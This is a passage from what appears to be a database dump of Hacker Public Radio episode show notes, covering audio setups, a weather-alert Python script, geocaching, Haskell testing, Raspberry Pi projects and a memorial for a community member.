alt=\"Picture-08.JPG\" /></p>\r\n<p>This is an example of the Anker stand I used. I use it to hold my project at a 45 degree angle so I can see it from around the room, it is intended to be used as a tablet stand.<br />\r\n<a href=\"https://www.ebay.co.uk/itm/Anker-Multi-Angle-Portable-Stand-for-Tablets-7-10-inch-E-readers-and-0-4lb-for-/282696421630?_trksid=p2385738.m4383.l4275.c10\">Anker stand for my Nexus 7, pictures, links</a></p>\r\n',201,0,1,'CC-BY-SA','Audio, Podcasts, Linux, Raspberry Pi, hardware, electronics, projects',0,0,1),
(2915,'2019-10-04','Intro - My Recording Setup',1248,'My first HPR episode. A bit of an intro and then a description of my recording setup.','<p>I discuss loading Fedora on various bits of older hardware and devise a plan to turn one of those bits of older hardware into a dedicated headless audio processor using its firewire port to keep yet another older piece of hardware alive: a Yamaha GO46 audio interface.</p>\r\n<p>Having done that and finding that it all performs admirably, I illogically decide to replace it with newer (but not new) hardware and buy yet another different model firewire audio interface: a Focusrite Saffire Pro 24.</p>\r\n<p>I record the end of the show on audio interface #3: a USB based Steinberg UR22mkII, which one could argue that I should have been using all along, leaving the firewire gear in the last decade where it belongs (?).</p>',380,0,0,'CC-BY-SA','Fedora, Firewire, Audio Interface',0,0,1),
(2919,'2019-10-10','hosting software in HPR show notes',626,'boats are awesome, but might lead to hosting software in the HPR show notes ','<pre><code>#!/usr/bin/env python\r\nimport urllib.request\r\nimport json\r\nimport re\r\nimport subprocess\r\n\r\n# see https://www.weather.gov/documentation/services-web-api\r\n\r\n#where are we? GPS coordinates\r\nlat = 39.275235\r\nlon = -120.9199507\r\n#what is the user agent string?\r\nagent = &quot;Jezra&#39;s fun lil script&quot;\r\n#minimum wind speed in mph?\r\nmin_speed = 9\r\n\r\ndef get_api_data(endpoint):\r\n  print(endpoint)\r\n  #prepare the connection with custom headers\r\n  request = urllib.request.Request(endpoint, headers={&quot;User-Agent&quot;:agent})\r\n  #create a handler for the request\r\n  handler = urllib.request.urlopen(request)\r\n  #get the text\r\n  text = handler.read()\r\n  #parse the json text to a python object\r\n  obj = json.loads(text)\r\n  return obj\r\n\r\ndef wind_is_good(s):\r\n  #use regex to find the matches\r\n  matches = re.findall(&quot;[0-9]+&quot;,s)\r\n  for match in matches:\r\n    #convert string to int\r\n    m = int(match)\r\n    #is the speed good?\r\n    if(m&gt;=min_speed):\r\n      return True\r\n  #if we get here, there is no match :(\r\n  return False\r\n\r\nstart_url = &quot;https://api.weather.gov/points/{0},{1}&quot;.format(lat,lon)\r\n#get the json response from the start_url as a python object\r\nobj = get_api_data(start_url)\r\n\r\n#get the forecast url from the returned data\r\nforecast_url = obj[&#39;properties&#39;][&#39;forecast&#39;]\r\n\r\n# process the forecast url\r\nforecast = get_api_data(forecast_url)\r\n\r\n#loop through the forcast periods\r\nfor period in forecast[&#39;properties&#39;][&#39;periods&#39;]:\r\n  #put name and windspeed into easier to handle variable names\r\n  name= period[&#39;name&#39;]\r\n  wind = period[&#39;windSpeed&#39;]\r\n  print (name, wind)\r\n  #check the wind speed\r\n  if wind_is_good(wind):\r\n    subprocess.call([&quot;textjezra&quot;,&quot;{0}: {1}&quot;.format(name,wind)])\r\n</code></pre>\r\n',243,25,0,'CC-BY-SA','canoe, ptython, api, weather',0,0,1),
(2921,'2019-10-14','Geocaching with the family',2916,'Dave and his family take a wander around a wood looking for Geocaches','<p>In this episode, Dave and his family wander the paths of <a href=\"https://www.doncaster.gov.uk/services/culture-leisure-tourism/sandall-beat-wood\">Sandall Beat Wood</a> in <a href=\"https://en.wikipedia.org/wiki/Doncaster\">Doncaster</a> to participate in the game of <a href=\"https://en.wikipedia.org/wiki/Geocaching\">Geocaching</a>. During this time, which demonstrates an unusual level of failure in us playing the game, we try and explain what the game is all about.</p>\r\n<p>No, not <a href=\"https://en.wikipedia.org/wiki/The_Game_(mind_game)\">The Game</a>...</p>\r\n<p>As I explain at the beginning of the episode, this is a fairly long episode which hasn\'t been edited down much, so there are a lot of ambient pauses and heavy breathing to be enjoyed.</p>\r\n<p><em>Recorded in the field on my <a href=\"https://www.amazon.co.uk/Olympus-DM-3-Digital-Voice-Recorder/dp/B003UP6ALA\">Olympus DM-3</a> voice recorder.</em></p>\r\n<h2 id=\"caches-explored\">Caches explored</h2>\r\n<ul>\r\n<li>Cache 1 - <a href=\"https://coord.info/GC7F8ND\">GC7F8ND</a> - not found</li>\r\n<li>Cache 2 - <a href=\"https://coord.info/GC50TVW\">GC50TVW</a> - not found</li>\r\n<li>Cache 3 - <a href=\"https://coord.info/GC7KRHH\">GC7KRHH </a> - found!</li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://next.moobug.net/index.php/apps/gallery/s/iGwmZMtyaD52ecg\">Link to photos and screenshot</a></li>\r\n<li><a href=\"https://geocaching.com\">geocaching.com</a></li>\r\n<li>Official Geocaching App: <a href=\"https://play.google.com/store/apps/details?id=com.groundspeak.geocaching.intro\">Google Play</a> | <a href=\"https://itunes.apple.com/app/apple-store/id329541503\">App Store</a></li>\r\n<li>c:geo Geocaching app: <a href=\"https://play.google.com/store/apps/details?id=cgeo.geocaching\">Google Play</a></li>\r\n</ul>\r\n',314,0,0,'CC-BY-SA','geocaching, outdoors, family',0,0,1),
(2948,'2019-11-20','Testing with Haskell',2560,'Introduction on HSpec and QuickCheck','<h2 id=\"intro\">Intro</h2>\r\n<p>I have liked writing automated tests for a long time, so it’s not a surprise that I end up writing them in Haskell too. This is very broad topic, so this episode only scratches the surface.</p>\r\n<h2 id=\"hspec\">HSpec</h2>\r\n<p>HSpec is testing framework that automatically detects tests, like most of the modern systems. It supports hierarchies, so one can organize tests by feature for example.</p>\r\n<pre><code>spec :: Spec\r\nspec = do\r\n    describe &quot;Very important feature&quot; $ do\r\n        it &quot;Execution should be error free&quot; $ do\r\n            ...\r\n\r\n        it &quot;Flux capacitors can be charged&quot; $ do\r\n            ...\r\n\r\n    describe &quot;Somewhat less important feature&quot; $ do\r\n        ...</code></pre>\r\n<h2 id=\"unit-test\">Unit test</h2>\r\n<p>Unit test tests a single case with fixed set of inputs. With pure functions these are a pleasure to write as they’re really just data in, data out, verify results. Below is two examples:</p>\r\n<pre><code>spec :: Spec\r\nspec = do\r\n    describe &quot;Markov chain configuration&quot; $ do\r\n        it &quot;Adding new starting element to empty configuration creates item with frequency of 1&quot; $ do\r\n            let config = addStart (&quot;AA&quot; :: DT.Text) emptyConfig\r\n            config ^? (configStartsL . _head . itemFreqL) `shouldBe` Just 1\r\n            config ^? (configStartsL . _head . itemItemL . _Just) `shouldBe` Just &quot;AA&quot;\r\n\r\n        it &quot;Adding same element twice to empty configuration creates item with frequency of 2&quot; $ do\r\n            let config = addStart &quot;AA&quot; $\r\n                         addStart (&quot;AA&quot; :: DT.Text) emptyConfig\r\n            config ^? (configStartsL . _head . itemFreqL) `shouldBe` Just 2\r\n            config ^? (configStartsL . _head . itemItemL . _Just) `shouldBe` Just &quot;AA&quot;</code></pre>\r\n<p>Both are for testing configuring markov chains. First one checks that adding a starting element in empty configuration results correct item with correct weight being added. Second checks that adding same starting element twice results weight of 2.</p>\r\n<p>Both tests use lenses for reading nested data structure. Episode doesn’t cover them much at all, as it’s enough to know that <code>(configStartsL . _head . itemFreqL)</code> focuses on starting elements of configuration, selects first item of the list and then selects frequency of that item. Lenses can also be used for modifying data and they don’t have to focus on only one element.</p>\r\n<p>Unit tests are easy enough to write, they verify single thing about the unit being tested and are usually super fast to run and not error prone.</p>\r\n<h2 id=\"property-based-test\">Property based test</h2>\r\n<p>Property based tests are used to check that a certain property holds with randomly generated input parameters. I’m using HSpec as testing framework and QuickCheck as tool for generating test data:</p>\r\n<pre><code>spec :: Spec\r\nspec = do\r\n    describe &quot;planets&quot; $ do\r\n        describe &quot;food&quot; $ do\r\n            it &quot;food requirement for positive amount of population is more than zero&quot; $ do\r\n                forAll positivePopulation $ \\x -&gt; foodRequirement x  &gt; RawResource 0\r\n\r\n            it &quot;food base production for farms is equal or greater than their amount&quot; $ do\r\n                forAll someFarms $ \\x -&gt; (sum (fmap foodBaseProduction x)) &gt; (RawResource $ length x)</code></pre>\r\n<p>Above we have two tests. First one checks that with any non-zero population, <code>foodRequirement</code> is greater than 0. Second one check that with any positive amount of farm, <code>foodBaseProduction</code> is greater than amount of the farms.</p>\r\n<p><code>positivePopulation</code> is Generator, that is used by QuickCheck to generate random data for testing. Its definition is shown below:</p>\r\n<pre><code>singlePopulation :: Gen PlanetPopulation\r\nsinglePopulation = do\r\n    let aPlanetId = toSqlKey 0\r\n    let aRaceId = toSqlKey 0\r\n    aPopulation &lt;- arbitrary `suchThat` \\x -&gt; x &gt; 0\r\n    return $ PlanetPopulation aPlanetId aRaceId aPopulation\r\n\r\npositivePopulation :: Gen [PlanetPopulation]\r\npositivePopulation = do\r\n    k &lt;- arbitrary `suchThat` \\x -&gt; x &gt; 0\r\n    vectorOf k singlePopulation</code></pre>\r\n<p>Generated data can be really simple or very complex. Generating complex data is often convenient to break into smaller steps and write generators for them.</p>\r\n<p>Property based tests are somewhat harder to write than unit tests, but they can potentially cover edge cases that might otherwise not been discovered.</p>\r\n<h2 id=\"working-with-database\">Working with database</h2>\r\n<p>All tests shown so far have been testing pure code, that is, code that is data in, data out. When database is introduced, things get more complicated. Suddenly there’s much more possibilities for errors. Below is an example of such a test:</p>\r\n<pre><code>spec :: Spec\r\nspec = withApp $ do\r\n\r\n    describe &quot;Status handling&quot;  $ do\r\n        describe &quot;Planet statuses&quot;  $ do\r\n            it &quot;Expired planet statuses are removed and news created&quot; $ do\r\n\r\n                sId &lt;- runDB $ insert $ StarSystem\r\n                        { starSystemName = &quot;Aldebaraan&quot;\r\n                        , starSystemCoordX = 10\r\n                        , starSystemCoordY = 20\r\n                        , starSystemRulerId = Nothing\r\n                        }\r\n\r\n                fId &lt;- runDB $ insert $ Faction\r\n                        { factionName = &quot;Star lords&quot;\r\n                        , factionHomeSystem = sId\r\n                        , factionBiologicals = 10\r\n                        , factionMechanicals = 10\r\n                        , factionChemicals = 10\r\n                        }\r\n\r\n                pId1 &lt;- runDB $ insert $ Planet\r\n                        { planetName = &quot;New Earth&quot;\r\n                        , planetPosition = 3\r\n                        , planetStarSystemId = sId\r\n                        , planetOwnerId = Just fId\r\n                        , planetGravity = 1.0\r\n                        , planetRulerId = Nothing\r\n                        }\r\n\r\n                _ &lt;- runDB $ insert $ PlanetStatus\r\n                        { planetStatusPlanetId = pId1\r\n                        , planetStatusStatus = GoodHarvest\r\n                        , planetStatusExpiration = Just 20201\r\n                        }\r\n\r\n                let status = Simulation 20201\r\n                _ &lt;- runDB $ insert status\r\n\r\n                news &lt;- runDB $ removeExpiredStatuses (simulationCurrentTime status)\r\n\r\n                statuses &lt;- runDB $ selectList [ PlanetStatusPlanetId ==. pId1 ] []\r\n                loadedNews &lt;- runDB $ selectList [] [ Asc NewsDate ]\r\n\r\n                liftIO $ statuses `shouldSatisfy` (\\x -&gt; length x == 0)\r\n                liftIO $ news `shouldSatisfy` (\\x -&gt; length x == 1)\r\n                liftIO $ loadedNews `shouldSatisfy` (\\x -&gt; length x == 1)</code></pre>\r\n<p>There’s a lot more code that had to be written for this test and majority of it is for setting up database state. The test if for ensuring that when good harvest boost expires, it is removed from database and respective news article is created.</p>\r\n<p>These kinds of tests have a lot more code and are much more slower to run because of the communication with a database. There’s also more cases where something can go wrong. But in the end, these kinds of tests are needed if one wants to verify that interaction with database is working as planned.</p>\r\n<h2 id=\"testing-api\">Testing API</h2>\r\n<p>Last example is about testing REST API. There are two tests, where the first one is checking that proper access control is in place and second one checks that pending messages are correctly retrieved.</p>\r\n<pre><code>spec :: Spec\r\nspec = withApp $ do\r\n    describe &quot;Message handling&quot; $ do\r\n        it &quot;unauthenticated user can&#39;t access messages&quot; $ do\r\n            _ &lt;- get ApiMessageR\r\n            statusIs 401\r\n\r\n        it &quot;pending messages are loaded&quot; $ do\r\n            (pId, fId) &lt;- setupPerson\r\n            _ &lt;- runDB $ insert $ researchCompleted 25250 fId HighSensitivitySensors\r\n            user &lt;- createUser &quot;Pete&quot; (Just pId)\r\n            authenticateAs user\r\n            _ &lt;- get ApiMessageR\r\n            resp &lt;- getResponse\r\n            let jsonM = join (decode &lt;$&gt; simpleBody &lt;$&gt; resp) :: Maybe Value\r\n\r\n            assertEq &quot;message tag&quot;\r\n                     (jsonM ^? (_Just . _Array . _head . key &quot;tag&quot; . _String))\r\n                     (Just &quot;ResearchCompleted&quot;)\r\n            assertEq &quot;star date&quot;\r\n                     (jsonM ^? (_Just . _Array . _head . key &quot;starDate&quot; . _Integer))\r\n                     (Just 25250)\r\n            assertEq &quot;technology&quot;\r\n                     (jsonM ^? (_Just . _Array . _head . key &quot;contents&quot; . key &quot;Technology&quot; . _String))\r\n                     (Just &quot;HighSensitivitySensors&quot;)\r\n\r\n            statusIs 200</code></pre>\r\n<p>Here extra complication is created by the fact that many features of the system are behind authentication and authorization. Luckily Yesod comes with helper function <code>authenticateAs</code>, that allows code to authenticate when system is running in development mode.</p>\r\n<p>These test are even slower than any of the previous ones, but on the other hand, they test whole chain from user interaction to database and back.</p>\r\n<h2 id=\"in-closing\">In closing</h2>\r\n<p>There’s lots of things that I couldn’t cover in such a short time, like various types of tests: UI testing, performance testing, security testing, long running testing…, the list goes on and on. But hopefully this episode gave you ideas what kinds of tests one can write and how to get started doing so using Haskell.</p>\r\n<p>Best way to reach me is email or at fediverse, where I’m <code>tuturto@mastodon.social</code>.</p>\r\n',364,107,0,'CC-BY-SA','haskell, testing, HSpec, QuickCheck',0,0,1),
(2924,'2019-10-17','Hacking an Alarm Clock to Make it Quieter',365,'I talk about installing a resistor in the speaker wire of an alarm clock so it won\'t be so loud','<p>The alarm clock on my bedside table had a very loud alarm&mdash;so loud that it scared me and made my heart race when it went off. I know you\'re thinking I should just use an alarm on my phone, but for whatever reason I wanted to use the alarm clock. In this episode I talk about installing a resistor in the speaker wires of the alarm clock so that it won\'t be so loud when it goes off. It\'s all good now. Loud enough to wake me up, but not so loud that it scares everyone.</p>\r\n\r\n<p><a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157710800691661\" title=\"Alarm Clock Hack\" target=\"_blank\"><img src=\"https://live.staticflickr.com/65535/48718052852_81d452d4c8.jpg\" width=\"500\" height=\"394\" alt=\"Alarm Clock Hack\"></a></p>\r\n',238,0,0,'CC-BY-SA','clocks, electronics, decibels, noise levels, alarm clocks, alarms',0,0,1),
(2937,'2019-11-05','Lord D\'s Film Reviews: His Girl Friday',2937,'Lostnbronx reviews an old screwball comedy.','<p>Ignore the address for the film that I give in the review. Here’s a MUCH better copy than the one I watched. It’s another upload on Archive.org:</p>\r\n<p><a href=\"https://archive.org/details/HisGirlFriday-1940\" class=\"uri\">https://archive.org/details/HisGirlFriday-1940</a></p>\r\n<p>Boy, I wish I’d found this one first!</p>\r\n',107,109,0,'CC-0','review, film, lord d',0,0,1),
(2933,'2019-10-30','A walk through my PifaceCAD Python code – Part 1',871,'In this series a do whirl wind tour of the Python code I developed for my PifaceCAD board','<p>In this series a do whirl wind tour of the Python code I developed to control my PifaceCAD raspberry pi add on board. I this use to control a music player running on a remote raspberry pi upstairs.</p>\r\n<p>In this episode I cover my use of global variables.</p>\r\n<p>List of global variables along with associated comments explaining what they are used for</p>\r\n<pre><code># GLOBAL VARIABLES\r\n\r\nRemoteDevice = &quot;pi@192.168.1.13&quot;\r\n# Username and ip address of the remote device to control\r\n\r\nSeekMin = -6\r\n# Sets the minimum value of the variable SeekPosition\r\n\r\nSeekMax = 6\r\n# Sets the maximum value of the variable SeekPosition\r\n\r\nSeekPosition = 0\r\n# stores seek menu position,\r\n\r\nSeekMenu = False\r\n# used to track seek menu state, ie are we in seek menu or not\r\n\r\nFirstPass = True\r\n# Used to track 1st time button 5 (backlight toggle) is pushed, turns off blinkstick\r\n\r\nLcdLightOn = False\r\n# used to track toggle sate of backlight button 5\r\n\r\nMenuMin = 0\r\n# Sets the minimum value of variable &quot;Menu&quot;\r\n\r\nMenuMax = 2\r\n# Sets the maximum value of variable &quot;Menu&quot;\r\n\r\nMenu = 0\r\n# global variable used to keep trak of selected menu\r\n\r\nIrActive = False\r\n# used to track toggle state of active infrared buttons, when false disables\r\n# all buttons on the remote control except the blue button.\r\n\r\nStoredTime = 0\r\n# Stores curent time in seconds when a button is pushed, used by double button tap feature\r\n\r\n#GET_IP_CMD = &quot;hostname –all-ip-addresses&quot;\r\n# Debian 7 wheezy, Command to get IP adress\r\n\r\nGET_IP_CMD = &quot;hostname --all-ip-addresses | cut -d&#39; &#39; -f1&quot;\r\n# Debian 8 jessie, Command to get IP adress\r\n\r\n#GET_ESSID_CMD = &quot;iwconfig wlan0 | grep &#39;ESSID:&#39; | cut -d&#39;:&#39; -f2&quot;\r\n# Debian 7 wheezy, Command to get wifi ESSID\r\n\r\nGET_ESSID_CMD = &quot;/sbin/iwconfig wlan0 | grep &#39;ESSID:&#39; | cut -d&#39;:&#39; -f2&quot;\r\n# Debian 8 wheezy, Command to get wifi ESSID\r\n\r\nGET_WIFI_STRENGTH_CMD = &quot;/sbin/iwconfig wlan0 | grep &#39;Link Quality=&#39; | awk &#39;{ print $2 }&#39;&quot;\r\n# Command to get wifi signal strength</code></pre>\r\n',201,38,1,'CC-BY-SA','Podcasts, Linux, Command Line, Python, Raspberry Pi',0,0,1),
(2923,'2019-10-16','Describing how I listen to podcasts PART 5',1750,'In this episode I cover how I use my 2nd add on board the PiFace Control and Display','<p>Below are examples of messages shown on the screen during operation</p>\r\n<p><em>System Up</em> (Unfortunately I didn’t get a picture of this message)</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-01.JPG\" alt=\"Picture 01\" /><br />\r\nShows the unit waiting to get a wi-fi connection and get given an IP address.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-02.JPG\" alt=\"Picture 02\" /><br />\r\nUnit goes to the HPR site and gets the number of days to free slot in the show queue. At the time when I took the picture the queue had a healthy 22 shows!</p>\r\n<p>Links to three previous shows I did that mention the Blinkstick</p>\r\n<ol type=\"1\">\r\n<li><p>Solving a problem I had with my Blinkstick<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2089\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2089</a></p></li>\r\n<li><p>Tracking the HPR queue using python and a Blinkstick<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2340\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2340</a></p></li>\r\n<li><p>Follow on to HPR2340 (Tracking the HPR queue in Python)<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2344\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2344</a></p></li>\r\n</ol>\r\n<ul>\r\n<li>Link to Moc, Music On Console<br />\r\n<a href=\"https://moc.daper.net/\" class=\"uri\">https://moc.daper.net/</a></li>\r\n</ul>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-03.JPG\" alt=\"Picture 03\" /> <img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-04.JPG\" alt=\"Picture 04\" /><br />\r\nMenu 0 Podcasts screens</p>\r\n<pre><code>0 [PODCASTS]\r\n0 1 &lt;|| PLAY/PAUSE (Toggles moc between play and Pause)\r\n0 2 &lt;&lt;  INFORMATION(Displays information about the current track)\r\n0 3 &lt;&lt;  (Move to previous track in playlist)\r\n0 4 &lt;&lt;  (Move to next track in playlist)\r\n0 5 LIGHT (Toggle back-light on LCD screen)\r\nPUSH IN TOP TOGGLE BUTTON (Seek forward or back in current track)</code></pre>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-05.JPG\" alt=\"Picture 05\" /> <img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-06.JPG\" alt=\"Picture 06\" /><br />\r\nMenu 1 Audiobooks screens</p>\r\n<pre><code>1 [AUDIOBOOKS]\r\n1 1 &lt;|| PLAY/PAUSE (Toggles moc between play and Pause)\r\n1 2 &lt;&lt;  INFORMATION(Displays information about the current track)\r\n1 3 &lt;&lt;  (Move to previous track in playlist)\r\n1 4 &lt;&lt;  (Move to next track in playlist)\r\n1 5 LIGHT (Toggle back-light on LCD screen)\r\nPUSH IN TOP TOGGLE BUTTON (Seek forward or back in current track)</code></pre>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-07.JPG\" alt=\"Picture 07\" /> <img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-08.JPG\" alt=\"Picture 08\" /><br />\r\nMenu 2 System screens</p>\r\n<pre><code>2 [SYSTEM]\r\n2 1 Sys Information (System information)\r\n2 2 WiFi (Displays WiFi inofrmation such SSID &amp; signal strength)\r\n2 3 HPR (Displays the number days to the next free slots on FPR que)\r\n2 4 Not shown, (Not in use)\r\n2 5 LIGHT (Toggle back-light on LCD screen)\r\nPUSH IN TOP TOGGLE BUTTON (Shut-down the Raspberry Pi)</code></pre>\r\n<p>Infra-red Sensor</p>\r\n<ul>\r\n<li><p>Example of my <a href=\"https://www.google.com/url?sa=i&amp;rct=j&amp;q=&amp;esrc=s&amp;source=images&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwin95XTnLbeAhURzaQKHcNIADEQjRx6BAgBEAU&amp;url=http%3A%2F%2Fwww.remotes4you.eu%2Fen%2Fsamsung-original-samsung-remote-control-aa59-00465.html&amp;psig=AOvVaw04vHTRnb1mBQYLrBKpOAKf&amp;ust=1541265724536724\">Samsung TV remote control</a></p></li>\r\n<li><p>Lirc Article from Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/LIRC\" class=\"uri\">https://en.wikipedia.org/wiki/LIRC</a></p></li>\r\n</ul>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-09.JPG\" alt=\"Picture 09\" /><br />\r\nInfra-red sensor turned on</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-10.JPG\" alt=\"Picture 10\" /><br />\r\nInfra-red sensor turned off</p>\r\n<ul>\r\n<li>Kodi article on Wikipedia, (Formerly XBMC)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Kodi_(software)\" class=\"uri\">https://en.wikipedia.org/wiki/Kodi_(software)</a></li>\r\n</ul>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-11.JPG\" alt=\"Picture 11\" /><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-12.JPG\" alt=\"Picture 12\" /><br />\r\nExample of a message being sent to the unit telling me that a backup is complete. The bright pink LED on the Blinkstick lets me know at a glance that a message has been sent to the display.</p>\r\n<ul>\r\n<li><p>EEE PC article on Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\" class=\"uri\">https://en.wikipedia.org/wiki/Asus_Eee_PC</a></p></li>\r\n<li><p>Switch Bounce article on Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Switch#Contact_bounce\" class=\"uri\">https://en.wikipedia.org/wiki/Switch#Contact_bounce</a></p></li>\r\n</ul>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-13.JPG\" alt=\"Picture 13\" /><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-14.JPG\" alt=\"Picture 14\" /><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-15.JPG\" alt=\"Picture 15\" /><br />\r\nA flavour of what information is shown when the information button 2 is pushed. The picture showing the title scrolling from right to left was blurred so I didn’t include this.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-16.JPG\" alt=\"Picture 16\" /><br />\r\nThe menu displayed during seek, this in initiated by pushing and releasing the toggle button while either in the Podcasts main menu 0 or Audio book main menu 1.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2923/Picture-17.JPG\" alt=\"Picture 17\" /><br />\r\nThe shut-down menu this in initiated by pushing and releasing the toggle button while in the System main menu 2.</p>\r\n',201,0,1,'CC-BY-SA','Audio, Podcasts, Linux, Command Line, Python, Raspberry Pi',0,0,1),
(2925,'2019-10-18','LinuxLugCast\'s Memorial for FiftyOneFifty ',7541,'We are here tonight to share memories of our friend Donald Grier aka FiftyOneFifty.','<p><a href=\"https://www.linuxlugcast.com/category/https-honkeymagoo-000webhostapp-com-home-podcast-2\">LinuxLugCast Memorial</a></p>\r\n\r\n<p>We are here tonight to share memories of our friend<strong> Donald Grier</strong> aka <strong>FiftyOneFifty</strong></p>\r\n<p>Fifty was involved with many podcast over the years</p>\r\n<ul class=\"bullet\">\r\n<li>Obviously LinuxLugCast <a href=\"https://www.linuxlugcast.com\">https://www.linuxlugcast.com</a></li>\r\n<li><a href=\"https://archive.org/search.php?query=linuxlugcast\">https://archive.org/search.php?query=linuxlugcast</a></li>\r\n<li>Hacker Public Radio <a href=\"https://hackerpublicradio.org/\">https://hackerpublicradio.org/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">https://hackerpublicradio.org/correspondents.php?hostid=131</a></li>\r\n<li>/dev/random <a href=\"https://devrandomshow.org/\">https://devrandomshow.org/</a></li>\r\n<li><a href=\"https://devrandomshow.org/shows/?f=all.html\">https://devrandomshow.org/shows/?f=all.html</a></li>\r\n<li>Kernal Panic Oggcast <a href=\"https://archive.org/search.php?query=KernelPanic+Oggcast&page=2\">https://archive.org/search.php?query=KernelPanic+Oggcast&page=2</a></li>\r\n</ul>\r\n<p><u>Shared thoughts and memories</u>:<br>\r\n<strong>Ken Fallon</strong></p>\r\n<p>I was in the back room pottering away when espeak notified me that 5150<br>\r\nhad passed away. I went back to the computer and read the announcement<br>\r\nin the IRC Logs and confirmed the news. Some dude I had never met, never<br>\r\nseen in my life, and didn’t even know his real name, was gone and I was<br>\r\nin the back room crying my eyes out.</p>\r\n<p>Crying for the loss of a friend.</p>\r\n<p>When had he become a friend ?</p>\r\n<p>People have been socializing since the dawn of humans, be it at the camp<br>\r\nfire, the forge, pub, hairdresser, sports club, church, or wherever.</p>\r\n<p>For us it was via Linux podcasting. You are there because you share a<br>\r\ncommon interest. If you were into Linux podcasting then you could not<br>\r\nhelp but get to know fiftyonefifty. The guy turned up everywhere if not<br>\r\non the podcasts themselves he was commenting on them. I have 619<br>\r\nmessages from him about HPR alone.</p>\r\n<p>He submitted his first show back in 2010 and has been a regular since<br>\r\nthen. At some point after that I knew that he was on my “special list”<br>\r\nof people who I could rely upon to fill the queue if needed.</p>\r\n<p>And as I sat there crying I realized that he had also sneaked onto my<br>\r\nlist of friends.</p>\r\n<p>I’ve not always been a fan of the New Year Show, but now I am glad for<br>\r\nit. While I may never get to share a beer with him any more, or take him<br>\r\nup on his promise to let me fire off some rounds on his farm, I did at<br>\r\nleast get to shoot the breeze with him for many a happy hour.</p>\r\n<p>Goodbye old friend you will be missed</p>\r\n<p><strong>Anonymous</strong><br>\r\nA Ramble for FiftyOneFifty: King of Ramblers</p>\r\n<p>I am writing a Ramble for a man I knew only as FiftyOneFifty.  I never knew his real name,<br>\r\nnor do I know if he knew mine.  In many things, Names do not matter, People, Actions, and<br>\r\nfeeling do.   We podcasted together off and on, over several years.  I don’t recall exactly<br>\r\nhow many.   It doesn’t matter now, since they are all that there will ever be.  We grew to be<br>\r\ngood friends.  I never met him in person, online life is like that.  I only know my life would be<br>\r\nmuch poorer, if I had not known him.  Hearing he died, shattered me.  This Ramble is my try<br>\r\nat putting most the pieces back in place.  Of course, nothing can replace the largest piece,<br>\r\nthe Man Himself.  My heart and prayers go out to those friends and family dealing with his loss.</p>\r\n<p>His death is a harsh, unchangeable, fact.  I shall focus on his life, and things better remembered<br>\r\nthan the wall we all will hit one day.  Fifty was a man if Life, Joy, and passions.  That is how I shall<br>\r\nwrite of him.  I had a far too short time, to learn about him, and from him.  It will also  warm my heart,<br>\r\nwhere he live yet, and has for a long time.  I learned this fact, only after I could no longer talk with him.</p>\r\n<p>I found him easy to talk with, and listen to.  He was also “Vaccinated with a Victrola Needle ”  as<br>\r\nmy relatives might say.  He could ramble on for hours. enjoyably.  He virtually always made sense,<br>\r\neven when in his cups.  He shared himself, his hobbies, experience, and his travels with us, on our<br>\r\npodcasts.  While he went to Linux events, he never limited himself to just linux topics.  He reported the<br>\r\nnon Linux features of events.  This great for choosing family trips to them.   He included accommodations, restaurants, and pubs in the area.  I don’t travel, or drive, so these second hand visit were a delight.</p>\r\n<p>His research and Linux activities made up much of his contribution to our podcasts.  He life also<br>\r\nflowed in, to entertain and inform us.  He lived in the country, farming, cows, trouble getting Internet<br>\r\nservice were included.  My parents can off farms, so he even kept my ties to that life alive.  Firearms, cars, especially his beloved Hearse were shared interests.  tale from his tech support work, for businesses and schools enlightened me.  Farmers are natural pack rats, so gathering all sorts of discarded computer gear was natural.   Unfortunately he lost most of it in the fire which destroyed his house.   Losing his house, and even his dear father, never seemed to blight his spirit or life, in the long run.  It would be natural to keep such private matters from more distant friends, as I was.  Nor did his long illness color the side of him I saw.  it got in his way, sometimes,  as I recall, but never in his spirit.  I wish I had been closer, to offer myself more to the man I miss dearly.  I must just try to use his independent example, in my own life.  Anyone could do much, worse.   His quiet touch helped heal me in ways I am only now realizing.</p>\r\n<p>I started the day in tears, still aching from losing a rare, true friend.  Then I recalled a song from Toby Keith, called “Cryin’ for Me (Wayman’s Song ) written about he loss of his close friend, Wayman Tisdale.  Toby found about his friends passing on Friday.  On Sunday Toby was driven to write the memorial song.  In it he says his tears are not for his lost friend, who is now in Heaven, but for Toby himself, and all those family, and friends, Wayman left behind.  I believe Fifty is in Heaven, with his Dad, and those who have gone before.  He will see things from the Good Seats.  He can 